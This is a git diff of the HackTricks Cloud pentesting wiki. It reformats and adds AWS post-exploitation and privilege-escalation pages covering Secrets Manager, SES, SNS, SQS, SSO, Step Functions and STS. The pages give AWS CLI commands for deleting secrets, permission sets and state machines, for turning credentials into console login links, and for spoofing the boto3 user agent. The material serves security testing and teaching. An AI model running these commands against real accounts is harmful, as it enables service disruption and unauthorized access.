-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## S3
 
 For more information check:
 
-{% content-ref url="../aws-services/aws-s3-athena-and-glacier-enum.md" %}
-[aws-s3-athena-and-glacier-enum.md](../aws-services/aws-s3-athena-and-glacier-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-services/aws-s3-athena-and-glacier-enum.md
+{{#endref}}
 
 ### Sensitive Information
 
@@ -48,17 +35,4 @@ Finally, the attacker could upload a final file, usually named "ransom-note.txt,
 
 **For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
new file mode 100644
index 000000000..7560dd6c5
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
@@ -0,0 +1,49 @@
+# AWS - Secrets Manager Post Exploitation
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Secrets Manager
+
+For more information check:
+
+{{#ref}}
+../aws-services/aws-secrets-manager-enum.md
+{{#endref}}
+
+### Read Secrets
+
+The **secrets themself are sensitive information**, [check the privesc page](../aws-privilege-escalation/aws-secrets-manager-privesc.md) to learn how to read them.
+
+### DoS Change Secret Value
+
+Changing the value of the secret you could **DoS all the system that depends on that value.**
+
+> [!WARNING]
+> Note that previous values are also stored, so it's easy to just go back to the previous value.
+
+```bash
+# Requires permission secretsmanager:PutSecretValue
+aws secretsmanager put-secret-value \
+    --secret-id MyTestSecret \
+    --secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
+```
+
+### DoS Change KMS key
+
+```bash
+aws secretsmanager update-secret \
+    --secret-id MyTestSecret \
+    --kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
+```
+
+### DoS Deleting Secret
+
+The minimum number of days to delete a secret are 7
+
+```bash
+aws secretsmanager delete-secret \
+    --secret-id MyTestSecret \
+    --recovery-window-in-days 7
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
new file mode 100644
index 000000000..157ea2e24
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
@@ -0,0 +1,83 @@
+# AWS - SES Post Exploitation
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## SES
+
+For more information check:
+
+{{#ref}}
+../aws-services/aws-ses-enum.md
+{{#endref}}
+
+### `ses:SendEmail`
+
+Send an email.
+
+```bash
+aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json
+aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json
+```
+
+Still to test.
+
+### `ses:SendRawEmail`
+
+Send an email.
+
+```bash
+aws ses send-raw-email --raw-message file://message.json
+```
+
+Still to test.
+
+### `ses:SendTemplatedEmail`
+
+Send an email based on a template.
+
+```bash
+aws ses  send-templated-email --source <value> --destination <value> --template <value>
+```
+
+Still to test.
+
+### `ses:SendBulkTemplatedEmail`
+
+Send an email to multiple destinations
+
+```bash
+aws ses send-bulk-templated-email --source <value> --template <value>
+```
+
+Still to test.
+
+### `ses:SendBulkEmail`
+
+Send an email to multiple destinations.
+
+```
+aws sesv2 send-bulk-email --default-content <value> --bulk-email-entries <value>
+```
+
+### `ses:SendBounce`
+
+Send a **bounce email** over a received email (indicating that the email couldn't be received). This can only be done **up to 24h after receiving** the email.
+
+```bash
+aws ses send-bounce --original-message-id <value> --bounce-sender <value> --bounced-recipient-info-list <value>
+```
+
+Still to test.
+
+### `ses:SendCustomVerificationEmail`
+
+This will send a customized verification email. You might need permissions also to created the template email.
+
+```bash
+aws ses send-custom-verification-email --email-address <value> --template-name <value>
+aws sesv2 send-custom-verification-email --email-address <value> --template-name <value>
+```
+
+Still to test.
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
similarity index 52%
rename from pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
index 7492acfd1..39017f43d 100644
--- a/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
@@ -1,27 +1,14 @@
 # AWS - SNS Post Exploitation
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## SNS
 
 For more information:
 
-{% content-ref url="../aws-services/aws-sns-enum.md" %}
-[aws-sns-enum.md](../aws-services/aws-sns-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-services/aws-sns-enum.md
+{{#endref}}
 
 ### Disrupt Messages
 
@@ -51,11 +38,9 @@ aws sns publish --topic-arn <value> --message <value>
 
 An attacker could modify the attributes of an SNS topic, potentially affecting its performance, security, or availability.
 
-{% code overflow="wrap" %}
 ```bash
 aws sns set-topic-attributes --topic-arn <value> --attribute-name <value> --attribute-value <value>
 ```
-{% endcode %}
 
 **Potential Impact**: Misconfigurations leading to degraded performance, security issues, or reduced availability.
 
@@ -63,12 +48,10 @@ aws sns set-topic-attributes --topic-arn <value> --attribute-name <value> --attr
 
 An attacker could subscribe or unsubscribe to an SNS topic, potentially gaining unauthorized access to messages or disrupting the normal functioning of applications relying on the topic.
 
-{% code overflow="wrap" %}
 ```bash
 aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
 aws sns unsubscribe --subscription-arn <value>
 ```
-{% endcode %}
 
 **Potential Impact**: Unauthorized access to messages, service disruption for applications relying on the affected topic.
 
@@ -87,26 +70,11 @@ aws sns remove-permission --topic-arn <value> --label <value>
 
 An attacker could add, modify, or remove tags from SNS resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags.
 
-{% code overflow="wrap" %}
 ```bash
 aws sns tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
 aws sns untag-resource --resource-arn <value> --tag-keys <key>
 ```
-{% endcode %}
 
 **Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies.
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md
similarity index 55%
rename from pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md
rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md
index 09584ee40..ad1073251 100644
--- a/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md
@@ -1,27 +1,14 @@
 # AWS - SQS Post Exploitation
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## SQS
 
 For more information check:
 
-{% content-ref url="../aws-services/aws-sqs-and-sns-enum.md" %}
-[aws-sqs-and-sns-enum.md](../aws-services/aws-sqs-and-sns-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-services/aws-sqs-and-sns-enum.md
+{{#endref}}
 
 ### `sqs:SendMessage` , `sqs:SendMessageBatch`
 
@@ -97,17 +84,4 @@ arduinoCopy codeaws sqs remove-permission --queue-url <value> --label <value>
 
 **Potential Impact**: Disruption of normal functioning for applications relying on the queue due to unauthorized removal of permissions.
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md
new file mode 100644
index 000000000..1b02581d6
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md
@@ -0,0 +1,25 @@
+# AWS - SSO & identitystore Post Exploitation
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## SSO & identitystore
+
+For more information check:
+
+{{#ref}}
+../aws-services/aws-iam-enum.md
+{{#endref}}
+
+### `sso:DeletePermissionSet` | `sso:PutPermissionsBoundaryToPermissionSet` | `sso:DeleteAccountAssignment`
+
+These permissions can be used to disrupt permissions:
+
+```bash
+aws sso-admin delete-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>
+
+aws sso-admin put-permissions-boundary-to-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --permissions-boundary-policy-arn <PolicyARN>
+
+aws sso-admin delete-account-assignment --instance-arn <SSOInstanceARN> --target-id <TargetID> --target-type <TargetType> --permission-set-arn <PermissionSetARN> --principal-type <PrincipalType> --principal-id <PrincipalID>
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
new file mode 100644
index 000000000..4a26196b2
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
@@ -0,0 +1,74 @@
+# AWS - Step Functions Post Exploitation
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Step Functions
+
+For more information about this AWS service, check:
+
+{{#ref}}
+../aws-services/aws-stepfunctions-enum.md
+{{#endref}}
+
+### `states:RevealSecrets`
+
+This permission allows to **reveal secret data inside an execution**. For it, it's needed to set Inspection level to TRACE and the revealSecrets parameter to true.
+
+<figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>
+
+### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
+
+An attacker with these permissions would be able to permanently delete state machines, their versions, and aliases. This can disrupt critical workflows, result in data loss, and require significant time to recover and restore the affected state machines. In addition, it would allow an attacker to cover the tracks used, disrupt forensic investigations, and potentially cripple operations by removing essential automation processes and state configurations.
+
+> [!NOTE]
+>
+> - Deleting a state machine you also delete all its associated versions and aliases.
+> - Deleting a state machine alias you do not delete the state machine versions referecing this alias.
+> - It is not possible to delete a state machine version currently referenced by one o more aliases.
+
+```bash
+# Delete state machine
+aws stepfunctions delete-state-machine --state-machine-arn <value>
+# Delete state machine version
+aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
+# Delete state machine alias
+aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
+```
+
+- **Potential Impact**: Disruption of critical workflows, data loss, and operational downtime.
+
+### `states:UpdateMapRun`
+
+An attacker with this permission would be able to manipulate the Map Run failure configuration and parallel setting, being able to increase or decrease the maximum number of child workflow executions allowed, affecting directly and performance of the service. In addition, an attacker could tamper with the tolerated failure percentage and count, being able to decrease this value to 0 so every time an item fails, the whole map run would fail, affecting directly to the state machine execution and potentially disrupting critical workflows.
+
+```bash
+aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
+```
+
+- **Potential Impact**: Performance degradation, and disruption of critical workflows.
+
+### `states:StopExecution`
+
+An attacker with this permission could be able to stop the execution of any state machine, disrupting ongoing workflows and processes. This could lead to incomplete transactions, halted business operations, and potential data corruption.
+
+> [!WARNING]
+> This action is not supported by **express state machines**.
+
+```bash
+aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
+```
+
+- **Potential Impact**: Disruption of ongoing workflows, operational downtime, and potential data corruption.
+
+### `states:TagResource`, `states:UntagResource`
+
+An attacker could add, modify, or remove tags from Step Functions resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags.
+
+```bash
+aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
+aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
+```
+
+**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies.
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
similarity index 54%
rename from pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
index 7a03ece8e..c1023dc7b 100644
--- a/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
@@ -1,27 +1,14 @@
 # AWS - STS Post Exploitation
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## STS
 
 For more information:
 
-{% content-ref url="../aws-services/aws-iam-enum.md" %}
-[aws-iam-enum.md](../aws-services/aws-iam-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-services/aws-iam-enum.md
+{{#endref}}
 
 ### From IAM Creds to Console
 
@@ -32,7 +19,6 @@ Note that the the user/role must have the permission **`sts:GetFederationToken`*
 
 The following script will use the default profile and a default AWS location (not gov and not cn) to give you a signed URL you can use to login inside the web console:
 
-{% code overflow="wrap" %}
 ```bash
 # Get federated creds (you must indicate a policy or they won't have any perms)
 ## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
@@ -69,11 +55,10 @@ signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)
 # Give the URL to login
 echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"
 ```
-{% endcode %}
 
-#### aws\_consoler
+#### aws_consoler
 
-You can **generate a web console link** with [https://github.com/NetSPI/aws\_consoler](https://github.com/NetSPI/aws_consoler).
+You can **generate a web console link** with [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler).
 
 ```bash
 cd /tmp
@@ -83,9 +68,8 @@ pip install aws-consoler
 aws_consoler [params...] #This will generate a link to login into the console
 ```
 
-{% hint style="warning" %}
-Ensure the IAM user has `sts:GetFederationToken` permission, or provide a role to assume.
-{% endhint %}
+> [!WARNING]
+> Ensure the IAM user has `sts:GetFederationToken` permission, or provide a role to assume.
 
 #### aws-vault
 
@@ -97,15 +81,13 @@ aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
 aws-vault login jonsmith # Open a browser logged as jonsmith
 ```
 
-{% hint style="info" %}
-You can also use **aws-vault** to obtain an **browser console session**
-{% endhint %}
+> [!NOTE]
+> You can also use **aws-vault** to obtain an **browser console session**
 
 ### **Bypass User-Agent restrictions from Python**
 
 If there is a **restriction to perform certain actions based on the user agent** used (like restricting the use of python boto3 library based on the user agent) it's possible to use the previous technique to **connect to the web console via a browser**, or you could directly **modify the boto3 user-agent** by doing:
 
-{% code overflow="wrap" %}
 ```bash
 # Shared by ex16x41
 # Create a client
@@ -118,19 +100,5 @@ client.meta.events.register( 'before-call.secretsmanager.GetSecretValue', lambda
 # Perform the action
 response = client.get_secret_value(SecretId="flag_secret") print(response['SecretString'])
 ```
-{% endcode %}
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md
new file mode 100644
index 000000000..d39f99060
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md
@@ -0,0 +1,13 @@
+# AWS - VPN Post Exploitation
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## VPN
+
+For more information:
+
+{{#ref}}
+../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
+{{#endref}}
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md
new file mode 100644
index 000000000..f795302bc
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md
@@ -0,0 +1,23 @@
+# AWS - Privilege Escalation
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## AWS Privilege Escalation
+
+The way to escalate your privileges in AWS is to have enough permissions to be able to, somehow, access other roles/users/groups privileges. Chaining escalations until you have admin access over the organization.
+
+> [!WARNING]
+> AWS has **hundreds** (if not thousands) of **permissions** that an entity can be granted. In this book you can find **all the permissions that I know** that you can abuse to **escalate privileges**, but if you **know some path** not mentioned here, **please share it**.
+
+> [!CAUTION]
+> If an IAM policy has `"Effect": "Allow"` and `"NotAction": "Someaction"` indicating a **resource**... that means that the **allowed principal** has **permission to do ANYTHING but that specified action**.\
+> So remember that this is another way to **grant privileged permissions** to a principal.
+
+**The pages of this section are ordered by AWS service. In there you will be able to find permissions that will allow you to escalate privileges.**
+
+## Tools
+
+- [https://github.com/RhinoSecurityLabs/Security-Research/blob/master/tools/aws-pentest-tools/aws_escalate.py](https://github.com/RhinoSecurityLabs/Security-Research/blob/master/tools/aws-pentest-tools/aws_escalate.py)
+- [Pacu](https://github.com/RhinoSecurityLabs/pacu)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
similarity index 59%
rename from pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
index fb13f3276..297789085 100644
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
@@ -1,27 +1,14 @@
 # AWS - Apigateway Privesc
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Apigateway
 
 For more information check:
 
-{% content-ref url="../aws-services/aws-api-gateway-enum.md" %}
-[aws-api-gateway-enum.md](../aws-services/aws-api-gateway-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-services/aws-api-gateway-enum.md
+{{#endref}}
 
 ### `apigateway:POST`
 
@@ -48,25 +35,21 @@ aws --region <region> apigateway get-api-key --api-key <key> --include-value
 
 With these permissions it's possible to modify the resource policy of an API to give yourself access to call it and abuse potential access the API gateway might have (like invoking a vulnerable lambda).
 
-{% code overflow="wrap" %}
 ```bash
 aws apigateway update-rest-api \
     --rest-api-id api-id \
     --patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'
 ```
-{% endcode %}
 
 **Potential Impact:** You, usually, won't be able to privesc directly with this technique but you might get access to sensitive info.
 
 ### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole`
 
-{% hint style="info" %}
-Need testing
-{% endhint %}
+> [!NOTE]
+> Need testing
 
 An attacker with the permissions `apigateway:PutIntegration`, `apigateway:CreateDeployment`, and `iam:PassRole` can **add a new integration to an existing API Gateway REST API with a Lambda function that has an IAM role attached**. The attacker can then **trigger the Lambda function to execute arbitrary code and potentially gain access to the resources associated with the IAM role**.
 
-{% code overflow="wrap" %}
 ```bash
 API_ID="your-api-id"
 RESOURCE_ID="your-resource-id"
@@ -80,19 +63,16 @@ aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID
 # Create a deployment for the updated API Gateway REST API
 aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 ```
-{% endcode %}
 
 **Potential Impact**: Access to resources associated with the Lambda function's IAM role.
 
 ### `apigateway:UpdateAuthorizer`, `apigateway:CreateDeployment`
 
-{% hint style="info" %}
-Need testing
-{% endhint %}
+> [!NOTE]
+> Need testing
 
 An attacker with the permissions `apigateway:UpdateAuthorizer` and `apigateway:CreateDeployment` can **modify an existing API Gateway authorizer** to bypass security checks or to execute arbitrary code when API requests are made.
 
-{% code overflow="wrap" %}
 ```bash
